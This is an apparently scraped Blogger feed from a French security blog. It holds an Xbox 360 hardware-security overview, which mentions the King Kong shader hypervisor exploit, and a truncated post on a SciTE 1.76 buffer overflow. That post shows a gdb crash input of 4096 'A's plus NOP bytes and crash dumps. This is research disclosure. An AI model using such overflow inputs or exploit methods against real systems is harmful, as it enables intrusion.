&lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;- FPU&lt;/span&gt; (Floating Point Unit) :&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;   Est un processeur dédié spécialement conçu pour effectuer des opérations sur des nombres à virgule flottante&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;( &lt;a style=&quot;color: rgb(51, 51, 255);&quot; href=&quot;http://fr.wikipedia.org/wiki/Unit%C3%A9_de_calcul_en_virgule_flottan&quot;&gt;http://fr.wikipedia.org/wiki/Unit%C3%A9_de_calcul_en_virgule_flottan&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 255);&quot;&gt;te &lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;- VMX:&lt;/span&gt; les VMX implémentent des instructions ternaires spécifiant deux registres source et un registre destination, ainsi qu’un registre de modification optionnel.&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;       Ils sont utilisés notament dans le cadre d’additions ou de multiplications (ici étendu a 128 Bits) a raison de 2 cycles gérant 4 instructions chacun.&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;(&lt;a href=&quot;http://fr.wikipedia.org/wiki/AltiVec&quot;&gt; http://fr.wikipedia.org/wiki/AltiVec &lt;/a&gt;)&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;- SIMD:&lt;/span&gt; le SIMD regroupe les deux coprocesseurs vectoriels VMX128 (similaires à AltiVec) avec 2 bancs de registres (128×128 bits) pour chaques coeurs.&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;      &lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204); font-weight: bold;&quot;&gt;- SMT  (Symetric Material Thread):  &lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;   Systeme de multi threads symétriques &lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;     (2 par coeurs soit 6 threads au total pour les jeux)&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;               &lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt; &lt;span style=&quot;font-weight: bold;&quot;&gt;- eFuse :&lt;/span&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;Securite sur le bootloader permettant de tester la présence du firmware proprietaire  .&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;   Capacité: 768 bits -&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt; &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;Patche depuis la version (ou MaJ) kernel &gt;= 4552&lt;/span&gt; (afin d&#39;eviter les downgrade , voir la partie &quot;securite&quot;).&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(255, 204, 102); font-weight: bold;&quot;&gt;[+]Schema simplifié du processeur PowerPC (Xenon) d&#39;IBM utilisé:&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNEg15VgTjX6zRQWOnZ_MbgVRRuYPqqL9oFnLhP0UjaduRmcJLZeE7ETjKu6K5cHJG1wx9v2QitBiytLL37r1zAPYQ7JLq5cvely0tFEJSoUhoOh9XMAuy4MAtOqnuSZsEPLNBn_pTJTCz/s1600/Xbox_Architecture_large.gif&quot;&gt;&lt;img style=&quot;margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 280px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNEg15VgTjX6zRQWOnZ_MbgVRRuYPqqL9oFnLhP0UjaduRmcJLZeE7ETjKu6K5cHJG1wx9v2QitBiytLL37r1zAPYQ7JLq5cvely0tFEJSoUhoOh9XMAuy4MAtOqnuSZsEPLNBn_pTJTCz/s320/Xbox_Architecture_large.gif&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5501572896678169698&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;p dir=&quot;ltr&quot; style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left;&quot;&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left;&quot;&gt;&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;                  &lt;span style=&quot;font-style: italic;&quot;&gt;128 Registres&lt;/span&gt;:&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt; Les 32 premiers mappés aux 32 registres(enregistreurs) qui existent dans la génération précédente&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;  de processeurs PowerPC(pour la compatibilité binaire) .&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;A ce processeur triple coeur viennent s&#39;ajouter les 2 coprocesseur  vectoriels (relatif aux données)  VMX128 (similaires à AltiVec) avec 2 bancs de registres (128×128 bit) pour chaque coeur.(VMX128 Bits doubles coeurs)&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;L&#39;utilisateur a en outre la possibilité d&#39;utiliser l&#39;ensemble des registres normaux fournis par le PowerPC et les 32 registres vectoriels fournis par VMX de manière simultanée.&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;(jeu de 32 registres vectoriels 128 bits permettent alors de stocker 16 entiers 8 bits signés ou non signés, 8 entiers 16 bits signés ou non signés, 4 entiers 32 bits signés ou non signés ou bien 4 nombre réels 32-bit en virgule flottantes)&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(255, 204, 102); font-weight: bold;&quot;&gt;[*] Sécurité  :&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;Les concepts de sécurité sont identiques à ceux définis sur l&#39;architecture POWER (contrôle des accès au niveau des segments et des pages).&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt; La séparation superviseur / utilisateur se fait au niveau des segments ou des blocs. Chaque processus utilisateur dispose de 16 segments dont deux sont réservés au noyau (accessible en mode superviseur). &lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;  À noter cependant qu&#39;il est possible d&#39;effectuer des accès à la mémoire qui ne supportent aucun contrôle. Il suffit pour cela de désactiver tous les mécanismes de traduction d&#39;adresses. &lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;ROM (et SRAM de 64 kbytes) contenant le programme de démarrage Secure Bootloader de Microsoft, et un Hyperviseur de cryptage pour générer des clés&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;de chiffrement aléatoire.&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;Ce meme Hyperviseur  a pu permettre par exemple une exploitation &lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;(il y en a eu d&#39;autres, et d&#39;autre sont a l&#39;etude)&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt; via une injection au travers de shaders de jeu (King Kong) , permettant ainsi d&#39;executer du code arbitraire directement en mode kernel .&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;En effet , les vectors shaders utilises  benefient d&#39;un acces a la memoire non controles .&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;(Ce jeu utilise des shaders compilés avec Microsoft D3DX9 Shader Compiler 9.04.91.0000)&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;Pour ce faire , Crawler360 (la super crapule :P) a du convertir son code en shader puis developper un petit loader utilisable par le port de serie .&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;Malheureusement , les MaJ du kernel vers la version 4552 (ou superieure) bloquent les tentatives de Downgrades et donc l&#39;exploitation de cette vulnerabilitee de l&#39;Hyperviseur .&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;Neanmoins , d&#39;&#39;autre exploitations de ce type restent a envisager (et font l&#39;objet de recherche active) .&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt; Voila , la petite presentation de la Xbox 360 est maintenant finie , j&#39;espere que ça pourra servir a d&#39;autres , n&#39;hésitez pas a partager vos idées/trouvailles , c&#39;est important .&lt;/p&gt;&lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;See you ..&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;span style=&quot;color: rgb(255, 204, 102);font-size:85%;&quot; &gt;/--------------- RESSOURCES UTILES ---------------\&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://fr.wikipedia.org/wiki/SIMD&quot;&gt;Simd&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://fr.wikipedia.org/wiki/SIMD&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://fr.wikipedia.org/wiki/Shader&quot;&gt;Shaders&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://fr.wikipedia.org/wiki/SIMD&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://www.free60.org/Main_Page&quot;&gt;Free60&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://fr.wikipedia.org/wiki/SIMD&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://x360.gx-mod.com/modules/news/&quot;&gt;x60&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://fr.wikipedia.org/wiki/SIMD&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://www.ibm.fr&quot;&gt;ibm&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style=&quot;color: rgb(51, 51, 255);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;a href=&quot;http://www.blogger.com/www.ibm.fr/&quot;&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;   &lt;/div&gt;  </content><link rel='replies' type='application/atom+xml' href='http://kmkz-web-blog.blogspot.com/feeds/503160923466471372/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4457623080129847893/503160923466471372' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/503160923466471372'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/503160923466471372'/><link rel='alternate' type='text/html' href='http://kmkz-web-blog.blogspot.com/2010/08/xbox-360-security-chapter-1.html' title='Xbox 360 Security : Chapter 1'/><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWX7f_qhizDdUQtNH4mauHaDaN6n2Yuy_MaLPSzL1iO4adY6hBlbA6gVeOMl3greB2FM0GMLeHPN5ZaNMSsQ49Mu2PE4tB55xS_Ajtaz-llty0kG_1I42Qn0GEx0x2OA/s1600/*'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNEg15VgTjX6zRQWOnZ_MbgVRRuYPqqL9oFnLhP0UjaduRmcJLZeE7ETjKu6K5cHJG1wx9v2QitBiytLL37r1zAPYQ7JLq5cvely0tFEJSoUhoOh9XMAuy4MAtOqnuSZsEPLNBn_pTJTCz/s72-c/Xbox_Architecture_large.gif" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4457623080129847893.post-168995985425462065</id><published>2010-08-01T14:26:00.003+02:00</published><updated>2010-08-01T14:31:36.238+02:00</updated><title type='text'>flux now avaible</title><content type='html'>&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Salut a tous!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Etant donné que je compte balancer pas mal d&#39;anneries ici dans les mois a venir, j&#39;ai décidé de lancer mon flux afin de se tenir informé de l&#39;activitée du blog .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Pour ceux que ça intéresse:&lt;/span&gt; &lt;a href=&quot;http://feeds.feedburner.com/KmkzsBlog&quot;&gt;link&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;A trés bientot ;-)&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://kmkz-web-blog.blogspot.com/feeds/168995985425462065/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4457623080129847893/168995985425462065' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/168995985425462065'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/168995985425462065'/><link rel='alternate' type='text/html' href='http://kmkz-web-blog.blogspot.com/2010/08/flux-now-avaible.html' title='flux now avaible'/><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWX7f_qhizDdUQtNH4mauHaDaN6n2Yuy_MaLPSzL1iO4adY6hBlbA6gVeOMl3greB2FM0GMLeHPN5ZaNMSsQ49Mu2PE4tB55xS_Ajtaz-llty0kG_1I42Qn0GEx0x2OA/s1600/*'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4457623080129847893.post-2031252747726573377</id><published>2010-07-05T22:47:00.000+02:00</published><updated>2010-07-12T07:29:18.910+02:00</updated><title type='text'>[*] Scite Text Editor 1.76 PoC : Local BoF vulnerability   ( 0 - Days )</title><content type='html'>&lt;span style=&quot;color: rgb(192, 192, 192);&quot;&gt;Me revoila :P&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(192, 192, 192);&quot;&gt;Je sais que j&#39;ai pas mal zappé ce blog depuis quelques mois , néanmoins j&#39;espere pouvoir m&#39;y remettre entre 2 CTF ..&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(192, 192, 192);&quot;&gt;Bref, osef d&#39;ma vie , place a la présentation , certe rapide , mais néanmoins simpa (bien que trés trés incomplete ) du Buffer Overflow que j&#39;ai eu l&#39;occasion de&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(192, 192, 192);&quot;&gt;découvrir dans la version 1.76  de Scite text Editor .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(192, 192, 192);&quot;&gt;L&#39;environnement d&#39;audit est un&lt;/span&gt; &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;2.6.31-22&lt;/span&gt; &lt;span style=&quot;color: rgb(192, 192, 192);&quot;&gt;, néanmoins , les essais effectués sur des versions antérieures donne d&#39;autres résultats assez surprenant .&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(192, 192, 192);&quot;&gt; Cet article ne présentera qu&#39;uniquement quelques dumps démontrant la vulnérabilité sans pour autant l&#39;exploiter; l&#39;exploitation aparaitra ici peu etre d&#39;ici pas mal de temps , j&#39;y reviendrait.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(192, 192, 192);&quot;&gt;Place a quelques dumps issus de&lt;/span&gt; &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;GNU gdb (GDB) 7.0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 153, 0);&quot;&gt;r `perl -e&#39;print&quot;A&quot;x4096 . &quot;\x90\x90\x90\x90&quot;&#39;`&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 153, 0);&quot;&gt;Starting program: /usr/bin/scite `perl -e&#39;print&quot;A&quot;x4096 . &quot;\x90\x90\x90\x90&quot;&#39;`&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[Thread debugging using libthread_db enabled]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;*** buffer overflow detected ***: /usr/bin/scite terminated&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;======= Backtrace: =========&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x48)[0x9c7008]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;/lib/tls/i686/cmov/libc.so.6[0x9c6040]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;/lib/tls/i686/cmov/libc.so.6(__strcpy_chk+0x44)[0x9c53b4] &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;/usr/bin/scite[0x8082a71]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;/usr/bin/scite[0x8083751]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;/usr/bin/scite[0x805b59c]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;/usr/bin/scite[0x8079382]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;/usr/bin/scite[0x8070944]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;/usr/bin/scite[0x805dc32]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;/usr/bin/scite[0x805dd8a]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;/lib/tls/i686/cmov/libc.so.6(__libc_start_main+0xe6)[0x8fcb56]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;/usr/bin/scite[0x8052d41]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;======= Memory map: ========&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00110000-0012b000 r-xp 00000000 08:01 146        /lib/ld-2.10.1.so&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0012b000-0012c000 r--p 0001a000 08:01 146        /lib/ld-2.10.1.so&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0012c000-0012d000 rw-p 0001b000 08:01 146        /lib/ld-2.10.1.so&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0012d000-0012e000 r-xp 00000000 00:00 0          [vdso]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0012e000-004e6000 r-xp 00000000 08:01 262811     /usr/lib/libgtk-x11-2.0.so.0.1800.3&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;004e6000-004e7000 ---p 003b8000 08:01 262811     /usr/lib/libgtk-x11-2.0.so.0.1800.3&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;004e7000-004eb000 r--p 003b8000 08:01 262811     /usr/lib/libgtk-x11-2.0.so.0.1800.3&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;004eb000-004ed000 rw-p 003bc000 08:01 262811     /usr/lib/libgtk-x11-2.0.so.0.1800.3&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;004ed000-004ef000 rw-p 00000000 00:00 0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;004ef000-00581000 r-xp 00000000 08:01 262814     /usr/lib/libgdk-x11-2.0.so.0.1800.3&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00581000-00583000 r--p 00092000 08:01 262814     /usr/lib/libgdk-x11-2.0.so.0.1800.3&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00583000-00584000 rw-p 00094000 08:01 262814     /usr/lib/libgdk-x11-2.0.so.0.1800.3&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00584000-0059f000 r-xp 00000000 08:01 263706     /usr/lib/libatk-1.0.so.0.2809.1&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0059f000-005a0000 r--p 0001b000 08:01 263706     /usr/lib/libatk-1.0.so.0.2809.1&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;005a0000-005a1000 rw-p 0001c000 08:01 263706     /usr/lib/libatk-1.0.so.0.2809.1&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;005a1000-005b9000 r-xp 00000000 08:01 262816     /usr/lib/libgdk_pixbuf-2.0.so.0.1800.3&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;005b9000-005ba000 r--p 00017000 08:01 262816     /usr/lib/libgdk_pixbuf-2.0.so.0.1800.3&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;005ba000-005bb000 rw-p 00018000 08:01 262816     /usr/lib/libgdk_pixbuf-2.0.so.0.1800.3&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;005bb000-005c6000 r-xp 00000000 08:01 264322     /usr/lib/libpangocairo-1.0.so.0.2600.0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;005c6000-005c7000 r--p 0000a000 08:01 264322     /usr/lib/libpangocairo-1.0.so.0.2600.0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;005c7000-005c8000 rw-p 0000b000 08:01 264322     /usr/lib/libpangocairo-1.0.so.0.2600.0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;005c8000-0060e000 r-xp 00000000 08:01 264320     /usr/lib/libpango-1.0.so.0.2600.0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0060e000-0060f000 r--p 00045000 08:01 264320     /usr/lib/libpango-1.0.so.0.2600.0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 